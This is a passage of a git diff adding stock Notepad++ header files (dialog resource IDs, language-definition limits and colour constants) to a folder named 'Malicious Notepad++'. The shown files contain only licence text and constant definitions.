WS_TABSTOP,119,251,76,13 + RTEXT "Name:",IDC_STYLER_NAME_STATIC,23,32,36,12 + RTEXT "Size:",IDC_STYLER_SIZE_STATIC,22,53,36,12 + CONTROL "Operators 1",IDC_STYLER_CHECK_NESTING_OPERATORS1,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,209,166,76,13 + CONTROL "Operators 2",IDC_STYLER_CHECK_NESTING_OPERATORS2,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,209,183,76,13 + CONTROL "Numbers",IDC_STYLER_CHECK_NESTING_NUMBERS,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,209,200,76,13 +END + +#endif //USERDEFINEDIALOG_RC diff --git a/Malicious Notepad++/src/ScitillaComponent/UserDefineLangReference.h b/Malicious Notepad++/src/ScitillaComponent/UserDefineLangReference.h new file mode 100644 index 0000000..6d51fdc --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/UserDefineLangReference.h @@ -0,0 +1,40 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef USER_DEFINE_LANG_REFERENCE_H +#define USER_DEFINE_LANG_REFERENCE_H + +#include "SciLexer.h" + +const int langNameLenMax = 33; +const int extsLenMax = 256; +const int max_char = 1024*30; + +#endif //USER_DEFINE_LANG_REFERENCE_H + + diff --git a/Malicious Notepad++/src/ScitillaComponent/UserDefineResource.h b/Malicious Notepad++/src/ScitillaComponent/UserDefineResource.h new file mode 100644 index 0000000..2f942ed --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/UserDefineResource.h @@ -0,0 +1,313 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef USERDEFINE_RC_H +#define USERDEFINE_RC_H + +#define IDD_GLOBAL_USERDEFINE_DLG 20000 + #define IDC_DOCK_BUTTON (IDD_GLOBAL_USERDEFINE_DLG + 1 ) + #define IDC_RENAME_BUTTON (IDD_GLOBAL_USERDEFINE_DLG + 2 ) + #define IDC_ADDNEW_BUTTON (IDD_GLOBAL_USERDEFINE_DLG + 3 ) + #define IDC_REMOVELANG_BUTTON (IDD_GLOBAL_USERDEFINE_DLG + 4 ) + #define IDC_SAVEAS_BUTTON (IDD_GLOBAL_USERDEFINE_DLG + 5 ) + #define IDC_LANGNAME_COMBO (IDD_GLOBAL_USERDEFINE_DLG + 6 ) + #define IDC_LANGNAME_STATIC (IDD_GLOBAL_USERDEFINE_DLG + 7 ) + #define IDC_EXT_EDIT (IDD_GLOBAL_USERDEFINE_DLG + 8 ) + #define IDC_EXT_STATIC (IDD_GLOBAL_USERDEFINE_DLG + 9 ) + + #define IDC_UD_PERCENTAGE_SLIDER (IDD_GLOBAL_USERDEFINE_DLG + 10) + #define IDC_UD_TRANSPARENT_CHECK (IDD_GLOBAL_USERDEFINE_DLG + 11) + #define IDC_LANGNAME_IGNORECASE_CHECK (IDD_GLOBAL_USERDEFINE_DLG + 12) + #define IDC_AUTOCOMPLET_EDIT (IDD_GLOBAL_USERDEFINE_DLG + 13) + #define IDC_AUTOCOMPLET_STATIC (IDD_GLOBAL_USERDEFINE_DLG + 14) + #define IDC_IMPORT_BUTTON (IDD_GLOBAL_USERDEFINE_DLG + 15) + #define IDC_EXPORT_BUTTON (IDD_GLOBAL_USERDEFINE_DLG + 16) + +#define IDD_FOLDER_STYLE_DLG 21000 // IDD_GLOBAL_USERDEFINE_DLG + 1000 + #define IDC_DEFAULT (IDD_FOLDER_STYLE_DLG + 100) + #define IDC_DEFAULT_DESCGROUP_STATIC (IDC_DEFAULT + 1) + #define IDC_DEFAULT_STYLER (IDC_DEFAULT + 2) + #define IDC_WEB_HELP_LINK (IDC_DEFAULT + 3) + #define IDC_WEB_HELP_STATIC (IDC_DEFAULT + 4) + #define IDC_WEB_HELP_DESCGROUP_STATIC (IDC_DEFAULT + 5) + #define IDC_FOLDER_FOLD_COMPACT (IDC_DEFAULT + 6) + + #define IDC_FOLDER_IN_CODE1 (IDD_FOLDER_STYLE_DLG + 200) + #define IDC_FOLDER_IN_CODE1_DESCGROUP_STATIC (IDC_FOLDER_IN_CODE1 + 20) + #define IDC_FOLDER_IN_CODE1_OPEN_EDIT (IDC_FOLDER_IN_CODE1 + 21) + #define IDC_FOLDER_IN_CODE1_MIDDLE_EDIT (IDC_FOLDER_IN_CODE1 + 22) + #define IDC_FOLDER_IN_CODE1_CLOSE_EDIT (IDC_FOLDER_IN_CODE1 + 23) + #define IDC_FOLDER_IN_CODE1_OPEN_STATIC (IDC_FOLDER_IN_CODE1 + 24) + #define IDC_FOLDER_IN_CODE1_MIDDLE_STATIC (IDC_FOLDER_IN_CODE1 + 25) + #define IDC_FOLDER_IN_CODE1_CLOSE_STATIC (IDC_FOLDER_IN_CODE1 + 26) + #define IDC_FOLDER_IN_CODE1_STYLER (IDC_FOLDER_IN_CODE1 + 27) + + #define IDC_FOLDER_IN_CODE2 (IDD_FOLDER_STYLE_DLG + 300) + #define IDC_FOLDER_IN_CODE2_DESCGROUP_STATIC (IDC_FOLDER_IN_CODE2 + 20) + #define IDC_FOLDER_IN_CODE2_OPEN_EDIT (IDC_FOLDER_IN_CODE2 + 21) + #define IDC_FOLDER_IN_CODE2_MIDDLE_EDIT (IDC_FOLDER_IN_CODE2 + 22) + #define IDC_FOLDER_IN_CODE2_CLOSE_EDIT (IDC_FOLDER_IN_CODE2 + 23) + #define IDC_FOLDER_IN_CODE2_OPEN_STATIC (IDC_FOLDER_IN_CODE2 + 24) + #define IDC_FOLDER_IN_CODE2_MIDDLE_STATIC (IDC_FOLDER_IN_CODE2 + 25) + #define IDC_FOLDER_IN_CODE2_CLOSE_STATIC (IDC_FOLDER_IN_CODE2 + 26) + #define IDC_FOLDER_IN_CODE2_STYLER (IDC_FOLDER_IN_CODE2 + 27) + + #define IDC_FOLDER_IN_COMMENT (IDD_FOLDER_STYLE_DLG + 400) + #define IDC_FOLDER_IN_COMMENT_DESCGROUP_STATIC (IDC_FOLDER_IN_COMMENT + 20) + #define IDC_FOLDER_IN_COMMENT_OPEN_EDIT (IDC_FOLDER_IN_COMMENT + 21) + #define IDC_FOLDER_IN_COMMENT_MIDDLE_EDIT (IDC_FOLDER_IN_COMMENT + 22) + #define IDC_FOLDER_IN_COMMENT_CLOSE_EDIT (IDC_FOLDER_IN_COMMENT + 23) + #define IDC_FOLDER_IN_COMMENT_OPEN_STATIC (IDC_FOLDER_IN_COMMENT + 24) + #define IDC_FOLDER_IN_COMMENT_MIDDLE_STATIC (IDC_FOLDER_IN_COMMENT + 25) + #define IDC_FOLDER_IN_COMMENT_CLOSE_STATIC (IDC_FOLDER_IN_COMMENT + 26) + #define IDC_FOLDER_IN_COMMENT_STYLER (IDC_FOLDER_IN_COMMENT + 27) + +#define IDD_KEYWORD_STYLE_DLG 22000 //(IDD_GLOBAL_USERDEFINE_DLG + 2000) + #define IDC_KEYWORD1 (IDD_KEYWORD_STYLE_DLG + 100) + #define IDC_KEYWORD1_DESCGROUP_STATIC (IDC_KEYWORD1 + 1 ) + #define IDC_KEYWORD1_EDIT (IDC_KEYWORD1 + 20) + #define IDC_KEYWORD1_PREFIX_CHECK (IDC_KEYWORD1 + 21) + #define IDC_KEYWORD1_STYLER (IDC_KEYWORD1 + 22) + + #define IDC_KEYWORD2 (IDD_KEYWORD_STYLE_DLG + 200) + #define IDC_KEYWORD2_DESCGROUP_STATIC (IDC_KEYWORD2 + 1 ) + #define IDC_KEYWORD2_EDIT (IDC_KEYWORD2 + 20) + #define IDC_KEYWORD2_PREFIX_CHECK (IDC_KEYWORD2 + 21) + #define IDC_KEYWORD2_STYLER (IDC_KEYWORD2 + 22) + + #define IDC_KEYWORD3 (IDD_KEYWORD_STYLE_DLG + 300) + #define IDC_KEYWORD3_DESCGROUP_STATIC (IDC_KEYWORD3 + 1 ) + #define IDC_KEYWORD3_EDIT (IDC_KEYWORD3 + 20) + #define IDC_KEYWORD3_PREFIX_CHECK (IDC_KEYWORD3 + 21) + #define IDC_KEYWORD3_STYLER (IDC_KEYWORD3 + 22) + + #define IDC_KEYWORD4 (IDD_KEYWORD_STYLE_DLG + 400) + #define IDC_KEYWORD4_DESCGROUP_STATIC (IDC_KEYWORD4 + 1 ) + #define IDC_KEYWORD4_EDIT (IDC_KEYWORD4 + 20) + #define IDC_KEYWORD4_PREFIX_CHECK (IDC_KEYWORD4 + 21) + #define IDC_KEYWORD4_STYLER (IDC_KEYWORD4 + 22) + + #define IDC_KEYWORD5 (IDD_KEYWORD_STYLE_DLG + 450) + #define IDC_KEYWORD5_DESCGROUP_STATIC (IDC_KEYWORD5 + 1 ) + #define IDC_KEYWORD5_EDIT (IDC_KEYWORD5 + 20) + #define IDC_KEYWORD5_PREFIX_CHECK (IDC_KEYWORD5 + 21) + #define IDC_KEYWORD5_STYLER (IDC_KEYWORD5 + 22) + + #define IDC_KEYWORD6 (IDD_KEYWORD_STYLE_DLG + 500) + #define IDC_KEYWORD6_DESCGROUP_STATIC (IDC_KEYWORD6 + 1 ) + #define IDC_KEYWORD6_EDIT (IDC_KEYWORD6 + 20) + #define IDC_KEYWORD6_PREFIX_CHECK (IDC_KEYWORD6 + 21) + #define IDC_KEYWORD6_STYLER (IDC_KEYWORD6 + 22) + + #define IDC_KEYWORD7 (IDD_KEYWORD_STYLE_DLG + 550) + #define IDC_KEYWORD7_DESCGROUP_STATIC (IDC_KEYWORD7 + 1 ) + #define IDC_KEYWORD7_EDIT (IDC_KEYWORD7 + 20) + #define IDC_KEYWORD7_PREFIX_CHECK (IDC_KEYWORD7 + 21) + #define IDC_KEYWORD7_STYLER (IDC_KEYWORD7 + 22) + + #define IDC_KEYWORD8 (IDD_KEYWORD_STYLE_DLG + 600) + #define IDC_KEYWORD8_DESCGROUP_STATIC (IDC_KEYWORD8 + 1 ) + #define IDC_KEYWORD8_EDIT (IDC_KEYWORD8 + 20) + #define IDC_KEYWORD8_PREFIX_CHECK (IDC_KEYWORD8 + 21) + #define IDC_KEYWORD8_STYLER (IDC_KEYWORD8 + 22) + +#define IDD_COMMENT_STYLE_DLG 23000 //(IDD_GLOBAL_USERDEFINE_DLG + 3000) + #define IDC_FOLDING_OF_COMMENTS (IDD_COMMENT_STYLE_DLG + 1) + #define IDC_COMMENTLINE_POSITION_STATIC (IDD_COMMENT_STYLE_DLG + 3) + #define IDC_ALLOW_ANYWHERE (IDD_COMMENT_STYLE_DLG + 4) + #define IDC_FORCE_AT_BOL (IDD_COMMENT_STYLE_DLG + 5) + #define IDC_ALLOW_WHITESPACE (IDD_COMMENT_STYLE_DLG + 6) + + #define IDC_COMMENT (IDD_COMMENT_STYLE_DLG + 100) + #define IDC_COMMENT_DESCGROUP_STATIC (IDC_COMMENT + 1 ) + #define IDC_COMMENT_OPEN_EDIT (IDC_COMMENT + 20) + #define IDC_COMMENT_CLOSE_EDIT (IDC_COMMENT + 21) + #define IDC_COMMENT_OPEN_STATIC (IDC_COMMENT + 22) + #define IDC_COMMENT_CLOSE_STATIC (IDC_COMMENT + 23) + #define IDC_COMMENT_STYLER (IDC_COMMENT + 24) + + #define IDC_NUMBER (IDD_COMMENT_STYLE_DLG + 200) + #define IDC_NUMBER_DESCGROUP_STATIC (IDC_NUMBER + 1 ) + #define IDC_NUMBER_STYLER (IDC_NUMBER + 20) + #define IDC_NUMBER_PREFIX1_STATIC (IDC_NUMBER + 30) + #define IDC_NUMBER_PREFIX1_EDIT (IDC_NUMBER + 31) + #define IDC_NUMBER_PREFIX2_STATIC (IDC_NUMBER + 32) + #define IDC_NUMBER_PREFIX2_EDIT (IDC_NUMBER + 33) + #define IDC_NUMBER_EXTRAS1_STATIC (IDC_NUMBER + 34) + #define IDC_NUMBER_EXTRAS1_EDIT (IDC_NUMBER + 35) + #define IDC_NUMBER_EXTRAS2_STATIC (IDC_NUMBER + 36) + #define IDC_NUMBER_EXTRAS2_EDIT (IDC_NUMBER + 37) + #define IDC_NUMBER_SUFFIX1_STATIC (IDC_NUMBER + 38) + #define IDC_NUMBER_SUFFIX1_EDIT (IDC_NUMBER + 39) + #define IDC_NUMBER_SUFFIX2_STATIC (IDC_NUMBER + 40) + #define IDC_NUMBER_SUFFIX2_EDIT (IDC_NUMBER + 41) + #define IDC_NUMBER_RANGE_STATIC (IDC_NUMBER + 42) + #define IDC_NUMBER_RANGE_EDIT (IDC_NUMBER + 43) + #define IDC_DECIMAL_SEPARATOR_STATIC (IDC_NUMBER + 44) + #define IDC_DOT_RADIO (IDC_NUMBER + 45) + #define IDC_COMMA_RADIO (IDC_NUMBER + 46) + #define IDC_BOTH_RADIO (IDC_NUMBER + 47) + + #define IDC_COMMENTLINE (IDD_COMMENT_STYLE_DLG + 300) + #define IDC_COMMENTLINE_DESCGROUP_STATIC (IDC_COMMENTLINE + 1 ) + #define IDC_COMMENTLINE_OPEN_EDIT (IDC_COMMENTLINE + 20) + #define IDC_COMMENTLINE_CONTINUE_EDIT (IDC_COMMENTLINE + 21) + #define IDC_COMMENTLINE_CLOSE_EDIT (IDC_COMMENTLINE + 22) + #define IDC_COMMENTLINE_OPEN_STATIC (IDC_COMMENTLINE + 23) + #define IDC_COMMENTLINE_CONTINUE_STATIC (IDC_COMMENTLINE + 24) + #define IDC_COMMENTLINE_CLOSE_STATIC (IDC_COMMENTLINE + 25) + #define IDC_COMMENTLINE_STYLER (IDC_COMMENTLINE + 26) + +#define IDD_SYMBOL_STYLE_DLG 24000 //IDD_GLOBAL_USERDEFINE_DLG + 4000 + #define IDC_OPERATOR (IDD_SYMBOL_STYLE_DLG + 100) + #define IDC_OPERATOR_DESCGROUP_STATIC (IDC_OPERATOR + 1 ) + #define IDC_OPERATOR_STYLER (IDC_OPERATOR + 13) + #define IDC_OPERATOR1_EDIT (IDC_OPERATOR + 14) + #define IDC_OPERATOR2_EDIT (IDC_OPERATOR + 15) + #define IDC_OPERATOR1_STATIC (IDC_OPERATOR + 16) + #define IDC_OPERATOR2_STATIC (IDC_OPERATOR + 17) + + #define IDC_DELIMITER1 (IDD_SYMBOL_STYLE_DLG + 200) + #define IDC_DELIMITER1_DESCGROUP_STATIC (IDC_DELIMITER1 + 1 ) + #define IDC_DELIMITER1_BOUNDARYOPEN_EDIT (IDC_DELIMITER1 + 17) + #define IDC_DELIMITER1_ESCAPE_EDIT (IDC_DELIMITER1 + 18) + #define IDC_DELIMITER1_BOUNDARYCLOSE_EDIT (IDC_DELIMITER1 + 19) + #define IDC_DELIMITER1_BOUNDARYOPEN_STATIC (IDC_DELIMITER1 + 20) + #define IDC_DELIMITER1_ESCAPE_STATIC (IDC_DELIMITER1 + 21) + #define IDC_DELIMITER1_BOUNDARYCLOSE_STATIC (IDC_DELIMITER1 + 22) + #define IDC_DELIMITER1_STYLER (IDC_DELIMITER1 + 23) + + #define IDC_DELIMITER2 (IDD_SYMBOL_STYLE_DLG + 300) + #define IDC_DELIMITER2_DESCGROUP_STATIC (IDC_DELIMITER2 + 1 ) + #define IDC_DELIMITER2_BOUNDARYOPEN_EDIT (IDC_DELIMITER2 + 17) + #define IDC_DELIMITER2_ESCAPE_EDIT (IDC_DELIMITER2 + 18) + #define IDC_DELIMITER2_BOUNDARYCLOSE_EDIT (IDC_DELIMITER2 + 19) + #define IDC_DELIMITER2_BOUNDARYOPEN_STATIC (IDC_DELIMITER2 + 20) + #define IDC_DELIMITER2_ESCAPE_STATIC (IDC_DELIMITER2 + 21) + #define IDC_DELIMITER2_BOUNDARYCLOSE_STATIC (IDC_DELIMITER2 + 22) + #define IDC_DELIMITER2_STYLER (IDC_DELIMITER2 + 23) + + #define IDC_DELIMITER3 (IDD_SYMBOL_STYLE_DLG + 400) + #define IDC_DELIMITER3_DESCGROUP_STATIC (IDC_DELIMITER3 + 1 ) + #define IDC_DELIMITER3_BOUNDARYOPEN_EDIT (IDC_DELIMITER3 + 17) + #define IDC_DELIMITER3_ESCAPE_EDIT (IDC_DELIMITER3 + 18) + #define IDC_DELIMITER3_BOUNDARYCLOSE_EDIT (IDC_DELIMITER3 + 19) + #define IDC_DELIMITER3_BOUNDARYOPEN_STATIC (IDC_DELIMITER3 + 20) + #define IDC_DELIMITER3_ESCAPE_STATIC (IDC_DELIMITER3 + 21) + #define IDC_DELIMITER3_BOUNDARYCLOSE_STATIC (IDC_DELIMITER3 + 22) + #define IDC_DELIMITER3_STYLER (IDC_DELIMITER3 + 23) + + #define IDC_DELIMITER4 (IDD_SYMBOL_STYLE_DLG + 450) + #define IDC_DELIMITER4_DESCGROUP_STATIC (IDC_DELIMITER4 + 1 ) + #define IDC_DELIMITER4_BOUNDARYOPEN_EDIT (IDC_DELIMITER4 + 17) + #define IDC_DELIMITER4_ESCAPE_EDIT (IDC_DELIMITER4 + 18) + #define IDC_DELIMITER4_BOUNDARYCLOSE_EDIT (IDC_DELIMITER4 + 19) + #define IDC_DELIMITER4_BOUNDARYOPEN_STATIC (IDC_DELIMITER4 + 20) + #define IDC_DELIMITER4_ESCAPE_STATIC (IDC_DELIMITER4 + 21) + #define IDC_DELIMITER4_BOUNDARYCLOSE_STATIC (IDC_DELIMITER4 + 22) + #define IDC_DELIMITER4_STYLER (IDC_DELIMITER4 + 23) + + #define IDC_DELIMITER5 (IDD_SYMBOL_STYLE_DLG + 500) + #define IDC_DELIMITER5_DESCGROUP_STATIC (IDC_DELIMITER5 + 1 ) + #define IDC_DELIMITER5_BOUNDARYOPEN_EDIT (IDC_DELIMITER5 + 17) + #define IDC_DELIMITER5_ESCAPE_EDIT (IDC_DELIMITER5 + 18) + #define IDC_DELIMITER5_BOUNDARYCLOSE_EDIT (IDC_DELIMITER5 + 19) + #define IDC_DELIMITER5_BOUNDARYOPEN_STATIC (IDC_DELIMITER5 + 20) + #define IDC_DELIMITER5_ESCAPE_STATIC (IDC_DELIMITER5 + 21) + #define IDC_DELIMITER5_BOUNDARYCLOSE_STATIC (IDC_DELIMITER5 + 22) + #define IDC_DELIMITER5_STYLER (IDC_DELIMITER5 + 23) + + #define IDC_DELIMITER6 (IDD_SYMBOL_STYLE_DLG + 550) + #define IDC_DELIMITER6_DESCGROUP_STATIC (IDC_DELIMITER6 + 1 ) + #define IDC_DELIMITER6_BOUNDARYOPEN_EDIT (IDC_DELIMITER6 + 17) + #define IDC_DELIMITER6_ESCAPE_EDIT (IDC_DELIMITER6 + 18) + #define IDC_DELIMITER6_BOUNDARYCLOSE_EDIT (IDC_DELIMITER6 + 19) + #define IDC_DELIMITER6_BOUNDARYOPEN_STATIC (IDC_DELIMITER6 + 20) + #define IDC_DELIMITER6_ESCAPE_STATIC (IDC_DELIMITER6 + 21) + #define IDC_DELIMITER6_BOUNDARYCLOSE_STATIC (IDC_DELIMITER6 + 22) + #define IDC_DELIMITER6_STYLER (IDC_DELIMITER6 + 23) + + #define IDC_DELIMITER7 (IDD_SYMBOL_STYLE_DLG + 600) + #define IDC_DELIMITER7_DESCGROUP_STATIC (IDC_DELIMITER7 + 1 ) + #define IDC_DELIMITER7_BOUNDARYOPEN_EDIT (IDC_DELIMITER7 + 17) + #define IDC_DELIMITER7_ESCAPE_EDIT (IDC_DELIMITER7 + 18) + #define IDC_DELIMITER7_BOUNDARYCLOSE_EDIT (IDC_DELIMITER7 + 19) + #define IDC_DELIMITER7_BOUNDARYOPEN_STATIC (IDC_DELIMITER7 + 20) + #define IDC_DELIMITER7_ESCAPE_STATIC (IDC_DELIMITER7 + 21) + #define IDC_DELIMITER7_BOUNDARYCLOSE_STATIC (IDC_DELIMITER7 + 22) + #define IDC_DELIMITER7_STYLER (IDC_DELIMITER7 + 23) + + #define IDC_DELIMITER8 (IDD_SYMBOL_STYLE_DLG + 650) + #define IDC_DELIMITER8_DESCGROUP_STATIC (IDC_DELIMITER8 + 1 ) + #define IDC_DELIMITER8_BOUNDARYOPEN_EDIT (IDC_DELIMITER8 + 17) + #define IDC_DELIMITER8_ESCAPE_EDIT (IDC_DELIMITER8 + 18) + #define IDC_DELIMITER8_BOUNDARYCLOSE_EDIT (IDC_DELIMITER8 + 19) + #define IDC_DELIMITER8_BOUNDARYOPEN_STATIC (IDC_DELIMITER8 + 20) + #define IDC_DELIMITER8_ESCAPE_STATIC (IDC_DELIMITER8 + 21) + #define IDC_DELIMITER8_BOUNDARYCLOSE_STATIC (IDC_DELIMITER8 + 22) + #define IDC_DELIMITER8_STYLER (IDC_DELIMITER8 + 23) + +#define IDD_STYLER_POPUP_DLG 25000 //IDD_GLOBAL_USERDEFINE_DLG + 5000 + #define IDC_STYLER_CHECK_BOLD (IDD_STYLER_POPUP_DLG + 1 ) + #define IDC_STYLER_CHECK_ITALIC (IDD_STYLER_POPUP_DLG + 2 ) + #define IDC_STYLER_CHECK_UNDERLINE (IDD_STYLER_POPUP_DLG + 3 ) + #define IDC_STYLER_COMBO_FONT_NAME (IDD_STYLER_POPUP_DLG + 4 ) + #define IDC_STYLER_COMBO_FONT_SIZE (IDD_STYLER_POPUP_DLG + 5 ) + #define IDC_STYLER_FG_STATIC (IDD_STYLER_POPUP_DLG + 6 ) + #define IDC_STYLER_BG_STATIC (IDD_STYLER_POPUP_DLG + 7 ) + #define IDC_STYLER_CHECK_NESTING_DELIMITER1 (IDD_STYLER_POPUP_DLG + 8 ) + #define IDC_STYLER_CHECK_NESTING_DELIMITER2 (IDD_STYLER_POPUP_DLG + 9 ) + #define IDC_STYLER_CHECK_NESTING_DELIMITER3 (IDD_STYLER_POPUP_DLG + 10) + #define IDC_STYLER_CHECK_NESTING_DELIMITER4 (IDD_STYLER_POPUP_DLG + 11) + #define IDC_STYLER_CHECK_NESTING_DELIMITER5 (IDD_STYLER_POPUP_DLG + 12) + #define IDC_STYLER_CHECK_NESTING_DELIMITER6 (IDD_STYLER_POPUP_DLG + 13) + #define IDC_STYLER_CHECK_NESTING_DELIMITER7 (IDD_STYLER_POPUP_DLG + 14) + #define IDC_STYLER_CHECK_NESTING_DELIMITER8 (IDD_STYLER_POPUP_DLG + 15) + #define IDC_STYLER_CHECK_NESTING_COMMENT (IDD_STYLER_POPUP_DLG + 16) + #define IDC_STYLER_CHECK_NESTING_COMMENT_LINE (IDD_STYLER_POPUP_DLG + 17) + #define IDC_STYLER_CHECK_NESTING_KEYWORD1 (IDD_STYLER_POPUP_DLG + 18) + #define IDC_STYLER_CHECK_NESTING_KEYWORD2 (IDD_STYLER_POPUP_DLG + 19) + #define IDC_STYLER_CHECK_NESTING_KEYWORD3 (IDD_STYLER_POPUP_DLG + 20) + #define IDC_STYLER_CHECK_NESTING_KEYWORD4 (IDD_STYLER_POPUP_DLG + 21) + #define IDC_STYLER_CHECK_NESTING_KEYWORD5 (IDD_STYLER_POPUP_DLG + 22) + #define IDC_STYLER_CHECK_NESTING_KEYWORD6 (IDD_STYLER_POPUP_DLG + 23) + #define IDC_STYLER_CHECK_NESTING_KEYWORD7 (IDD_STYLER_POPUP_DLG + 24) + #define IDC_STYLER_CHECK_NESTING_KEYWORD8 (IDD_STYLER_POPUP_DLG + 25) + #define IDC_STYLER_CHECK_NESTING_OPERATORS1 (IDD_STYLER_POPUP_DLG + 26) + #define IDC_STYLER_CHECK_NESTING_OPERATORS2 (IDD_STYLER_POPUP_DLG + 27) + #define IDC_STYLER_CHECK_NESTING_NUMBERS (IDD_STYLER_POPUP_DLG + 28) + #define IDC_STYLER_STATIC_NESTING_GROUP (IDD_STYLER_POPUP_DLG + 29) + #define IDC_STYLER_STATIC_FONT_OPTIONS (IDD_STYLER_POPUP_DLG + 30) + #define IDC_STYLER_NAME_STATIC (IDD_STYLER_POPUP_DLG + 31) + #define IDC_STYLER_SIZE_STATIC (IDD_STYLER_POPUP_DLG + 32) + +#define IDD_STRING_DLG 26000 //IDD_GLOBAL_USERDEFINE_DLG + 6000 + #define IDC_STRING_STATIC (IDD_STRING_DLG + 1) + #define IDC_STRING_EDIT (IDD_STRING_DLG + 2) + +#endif //USERDEFIN_RC_H diff --git a/Malicious Notepad++/src/ScitillaComponent/colors.h b/Malicious Notepad++/src/ScitillaComponent/colors.h new file mode 100644 index 0000000..03b7162 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/colors.h @@ -0,0 +1,69 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef COLORS_H +#define COLORS_H + +const COLORREF red = RGB(0xFF, 0, 0); +const COLORREF darkRed = RGB(0x80, 0, 0); +const COLORREF offWhite = RGB(0xFF, 0xFB, 0xF0); +const COLORREF darkGreen = RGB(0, 0x80, 0); +const COLORREF liteGreen = RGB(0, 0xFF, 0); +const COLORREF blueGreen = RGB(0, 0x80, 0x80); +const COLORREF liteRed = RGB(0xFF, 0xAA, 0xAA); +const COLORREF liteBlueGreen = RGB(0xAA, 0xFF, 0xC8); + +const COLORREF liteBlue = RGB(0xA6, 0xCA, 0xF0); +const COLORREF veryLiteBlue = RGB(0xC4, 0xF9, 0xFD); +const COLORREF extremeLiteBlue = RGB(0xF2, 0xF4, 0xFF); + +const COLORREF darkBlue = RGB(0, 0, 0x80); +const COLORREF blue = RGB(0, 0, 0xFF); +const COLORREF black = RGB(0, 0, 0); +const COLORREF white = RGB(0xFF, 0xFF, 0xFF); +const COLORREF darkGrey = RGB(64, 64, 64); +const COLORREF grey = RGB(128, 128, 128); +const COLORREF liteGrey = RGB(192, 192, 192); +const COLORREF veryLiteGrey = RGB(224, 224, 224); +const COLORREF brown = RGB(128, 64, 0); +//const COLORREF greenBlue = RGB(192, 128, 64); +const COLORREF darkYellow = RGB(0xFF, 0xC0, 0); +const COLORREF yellow = RGB(0xFF, 0xFF, 0); +const COLORREF lightYellow = RGB(0xFF, 0xFF, 0xD5); +const COLORREF cyan = RGB(0, 0xFF, 0xFF); +const COLORREF orange = RGB(0xFF, 0x80, 0x00); +const COLORREF purple = RGB(0x80, 0x00, 0xFF); +const COLORREF deepPurple = RGB(0x87, 0x13, 0x97); + +const COLORREF extremeLitePurple = RGB(0xF8, 0xE8, 0xFF); +const COLORREF veryLitePurple = RGB(0xE7, 0xD8, 0xE9); +const COLORREF liteBerge = RGB(0xFE, 0xFC, 0xF5); +const COLORREF berge = RGB(0xFD, 0xF8, 0xE3); + +#endif //COLORS_H + diff --git a/Malicious Notepad++/src/ScitillaComponent/columnEditor.cpp b/Malicious Notepad++/src/ScitillaComponent/columnEditor.cpp new file mode 100644 index 0000000..0101125 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/columnEditor.cpp @@ -0,0 +1,336 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a 